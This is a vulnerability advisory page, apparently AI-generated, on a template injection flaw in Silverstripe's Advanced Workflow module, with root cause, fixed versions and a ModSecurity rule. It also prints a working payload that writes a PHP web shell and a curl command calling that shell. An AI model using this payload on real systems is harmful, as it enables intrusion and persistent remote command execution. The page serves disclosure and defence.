CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-54718

CVE-2026-54718: Remote Code Execution via Advanced Workflow Email Template in Silverstripe

Amit Schendel
Amit Schendel
Senior Security Researcher

Aug 27, 2026·4 min read·6 visits

Executive Summary (TL;DR)

An authenticated template injection vulnerability in Silverstripe Advanced Workflow allows high-privileged users to achieve Remote Code Execution via translation tag interpolation.

A Server-Side Template Injection (SSTI) vulnerability in the Silverstripe Advanced Workflow module allows authenticated attackers with workflow authoring permissions to achieve arbitrary code execution. By manipulating the NotifyUsersWorkflowAction.EmailTemplate field, attackers can inject template code that dynamically executes arbitrary PHP commands via the core translation helper interpolation path.

Vulnerability Overview

The Silverstripe Advanced Workflow module provides sequential workflow capabilities for content publishing pipelines. Within this module, the NotifyUsersWorkflowAction class is responsible for sending customized email notifications when specific workflow steps are triggered. This class exposes an EmailTemplate field allowing administrators and content authors to define custom text layouts.\n\nThese layout templates are parsed dynamically using the Silverstripe SSTemplateParser engine. This engine is designed to interpret variables, conditional logic, and translation helpers like <%t %>. However, because the engine compiles templates directly into intermediate executable PHP structures, any lack of isolation during the compilation step introduces a significant attack surface.\n\nThis vulnerability belongs to the Server-Side Template Injection (SSTI) class (CWE-1336). By injecting malicious interpolation patterns within the workflow action configurations, a high-privileged attacker can bypass standard template safety constraints and force the template parser to execute system-level commands.

Root Cause Analysis

The root cause of the vulnerability lies in how the translation helper tag <%t %> processes default string arguments inside the SSTemplateParser class. The default helper syntax permits authors to set fallback values in translation tags, which are typically wrapped in double quotes. To support dynamic localization values, the engine allowed variable interpolation inside these double-quoted default fallback strings.\n\nWhen the template engine evaluates an interpolation marker like {$Variable}, the parser translates the nested block into compiled PHP operations. The parser failed to validate that the components inside the brackets were restricted to safe variable symbols. Instead, it evaluated the string elements recursively, transforming raw function calls inside the brackets into executable expressions.\n\nBecause the workflow execution sequence compiles these templates directly onto the server before evaluation, an attacker can leverage this path to execute arbitrary PHP actions. By calling native functions like file_put_contents within the interpolation delimiters, the system compiles the command directly into the cached template file, triggering execution automatically whenever the workflow phase is processed.

Code Analysis

Analyzing the patch environment exposes how the framework requirements were modified to resolve the flaw. Rather than modifying the Advanced Workflow code directly, the remediation locks the framework core to enforce strict parsing restrictions inside translation blocks.\n\nIn the vulnerable structure, the parser allowed nested functions to execute because it recursively resolved interpolation expressions before sanitizing the translation helper syntax. The following payload illustrates the execution syntax:\n\nhtml\n<%t VulnerableTag \"{$('file_put_contents'('assets/rce.php', '<?php system($_GET[\\'cmd\\']); ?>'))}\" %>\n\n\nTo resolve this, the framework introduced constraints in the core parser to prevent arbitrary method calls within localization strings. In Silverstripe modern environments (v6), this change was pushed into the silverstripe/template-engine package version 1.0.1:\n\njson\n// Required engine update\n{\n \"require\": {\n \"silverstripe/template-engine\": \"^1.0.1\"\n }\n}\n\n\nFor Silverstripe v5 deployments, equivalent security checks were integrated into the core framework package version 5.4.30:\n\njson\n// Required framework update for v5 compatibility\n{\n \"require\": {\n \"silverstripe/framework\": \"^5.4.30\"\n }\n}\n

Exploitation Methodology

Exploitation of CVE-2026-54718 requires authenticated credentials with privileges to create or modify advanced workflows. The attacker locates the administrative panel and navigates to the Advanced Workflow setup. From there, they insert a payload into the EmailTemplate field of a NotifyUsersWorkflowAction instance.\n\nThe template execution pipeline is mapped in the following sequence:\n\nmermaid\ngraph LR\n A[\"Attacker Workflow Configuration\"] --> B[\"NotifyUsersWorkflowAction.EmailTemplate\"]\n B --> C[\"SSTemplateParser Processing\"]\n C --> D[\"Translation Tag <%t %> Parsing\"]\n D --> E[\"Unchecked Dynamic Interpolation\"]\n E --> F[\"Server-Side PHP Evaluation (RCE)\"]\n\n\nDuring execution, the template payload writes a custom PHP web shell script into the publicly accessible /assets/ directory. The attacker can then issue shell operations remotely by calling the newly created script directly:\n\nbash\ncurl -s \"https://target-silverstripe-site.com/assets/rce.php?cmd=id\"\n\n\nThis payload effectively establishes persistent access and bypasses standard authorization boundaries to access backend infrastructure parameters.

Remediation & Mitigation

The definitive mitigation for this vulnerability is upgrading the underlying dependencies of the Silverstripe application. This ensures that the dynamic parser is restricted from compiling function calls within translation blocks.\n\nRun the following command within your application root to fetch safe versions of the framework packages:\n\nbash\ncomposer update silverstripe/framework silverstripe/template-engine symbiote/silverstripe-advancedworkflow\n\n\nFor environments where dependencies cannot be updated immediately, implement the following virtual mitigations:\n\n1. Restrict write permissions on the public /assets/ directories, preventing the execution of dynamic PHP code within these paths.\n\n2. Monitor database changes on the NotifyUsersWorkflowAction tables for configurations containing <%t tags paired with complex bracket notation {$.\n\n3. Deploy the following ModSecurity rule to detect incoming template injection attempts on workflow editing endpoints:\n\nnginx\nSecRule REQUEST_BODY \"(?i)<%t\\s+[\\w\\-]+\\s+\\\".*\\{\\$.*\\}\\\".*%>\" \\\n \"id:4000185,\\\n phase:2,\\\n deny,\\\n status:403,\\\n log,\\\n msg:'SSTI Attempt via Silverstripe Translation Helper Injection'\"\n

Fix Analysis (2)

Technical Appendix

CVSS Score
7.2/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Affected Systems

Silverstripe CMS installations utilizing Advanced Workflow module (< 6.4.5, 7.x < 7.1.3, 7.2.x < 7.2.1)

Affected Versions Detail

Product
Affected Versions
Fixed Version
silverstripe-advancedworkflow
symbiote
< 6.4.56.4.5
silverstripe-advancedworkflow
symbiote
>= 7.0.0, < 7.1.37.1.3
silverstripe-advancedworkflow
symbiote
>= 7.2.0, < 7.2.17.2.1
AttributeDetail
CWE IDCWE-1336
Attack VectorNetwork (AV:N)
CVSS Score7.2 (High)
EPSS ScoreN/A (Recently Disclosed)
ImpactRemote Code Execution (RCE)
Exploit StatusPoC Available in Regression Tests
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.003Command and Scripting Interpreter: Windows Command Shell
Execution
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
CWE-1336
Improper Neutralization of Special Elements Used in a Template Engine

The Silverstripe template parser failed to neutralize dynamic expression markers inside translation tag default values, permitting arbitrary PHP function execution.

Vulnerability Timeline

Developer pushes fixes to advancedworkflow module containing regression tests for SSTI
2026-06-24
GitHub Security Advisory GHSA-39mm-rwm3-29jp Published
2026-08-27
CVE-2026-54718 Published to CVE Registry
2026-08-27

References & Sources

  • [1]GitHub Security Advisory GHSA-39mm-rwm3-29jp
  • [2]Pull Request #629
  • [3]Pull Request #630
  • [4]Silverstripe Core Security Bulletin CVE-2026-54718

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•32 minutes ago•CVE-2026-42350
5.1

CVE-2026-42350: Client-Side Open Redirect in Kargo UI OIDC Authentication Flow

A client-side open redirect vulnerability has been identified in the Kargo user interface. The flaw resides in the handling of OpenID Connect (OIDC) login and token renewal flows, where the application extracts an unvalidated destination path from the redirectTo query parameter. Attackers can exploit this to redirect authenticated users to arbitrary external domains.

Alon Barad
Alon Barad
2 views•6 min read
•about 3 hours ago•CVE-2026-54732
6.5

CVE-2026-54732: Arbitrary File Write via Path Traversal in libreoffice-convert

A path traversal and arbitrary file write vulnerability exists in the libreoffice-convert Node.js package in all versions prior to 1.8.2. The convertWithOptions function fails to validate or sanitize the caller-controlled options.fileName parameter, allowing directory traversal sequences to write files outside the temporary directory.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 4 hours ago•GHSA-MF7Q-R4RV-JV94
8.2

GHSA-MF7Q-R4RV-JV94: Time-of-Check to Time-of-Use (TOCTOU) Signature Verification Bypass in Crossplane Runtime

Crossplane's runtime package manager engine contains a Time-of-Check to Time-of-Use (TOCTOU) race condition in its container signature verification pipeline. When Crossplane parses package definitions using dynamic tag-based references, it resolves the tag on the remote OCI registry twice: once during the signature verification step (the 'Check' phase) and once during the fetch and install step (the 'Use' phase). An attacker controlling the destination OCI registry can exploit this vulnerability by serving a validly signed benign image for the verification phase, and then dynamically swapping the tag to point to an unsigned, malicious package during the fetch phase.

Alon Barad
Alon Barad
4 views•7 min read
•about 5 hours ago•CVE-2026-54721
8.8

CVE-2026-54721: Remote Code Execution via Server-Side Template Injection in Silverstripe UserForms

A Server-Side Template Injection (SSTI) vulnerability in the Silverstripe UserForms module allows authenticated CMS users with basic form configuration privileges to achieve remote code execution (RCE). The flaw resides in the processing of the email recipient subject field, where user-supplied template translation tags are evaluated by the template engine, leading to arbitrary PHP execution via dynamic variable interpolation.

Alon Barad
Alon Barad
5 views•5 min read
•about 13 hours ago•CVE-2026-54356
7.1

CVE-2026-54356: Missing Authorization in Budibase leading to Arbitrary S3 Upload URL Generation

CVE-2026-54356 is a missing authorization vulnerability (CWE-862) within the backend component of the Budibase low-code platform. The vulnerability exists inside the `@budibase/server` package in versions prior to 3.41.3. An authenticated user with the lowest privilege level can invoke the attachment upload URL endpoint directly and obtain an S3 pre-signed PutObject URL signed with the server's S3 credentials.

Alon Barad
Alon Barad
7 views•5 min read
•about 14 hours ago•CVE-2026-54556
8.2

CVE-2026-54556: Heap Exhaustion and Denial of Service in http4s Ember HTTP/2 Backend via HPACK Bomb

CVE-2026-54556 is a high-severity Denial of Service (DoS) vulnerability impacting the Ember HTTP/2 backend of http4s, a popular functional Scala interface for HTTP services. The vulnerability arises from an improper handling of highly compressed HPACK header blocks, which enables unauthenticated remote attackers to trigger severe memory amplification and crash the JVM runtime via an OutOfMemoryError.

Amit Schendel
Amit Schendel
5 views•6 min read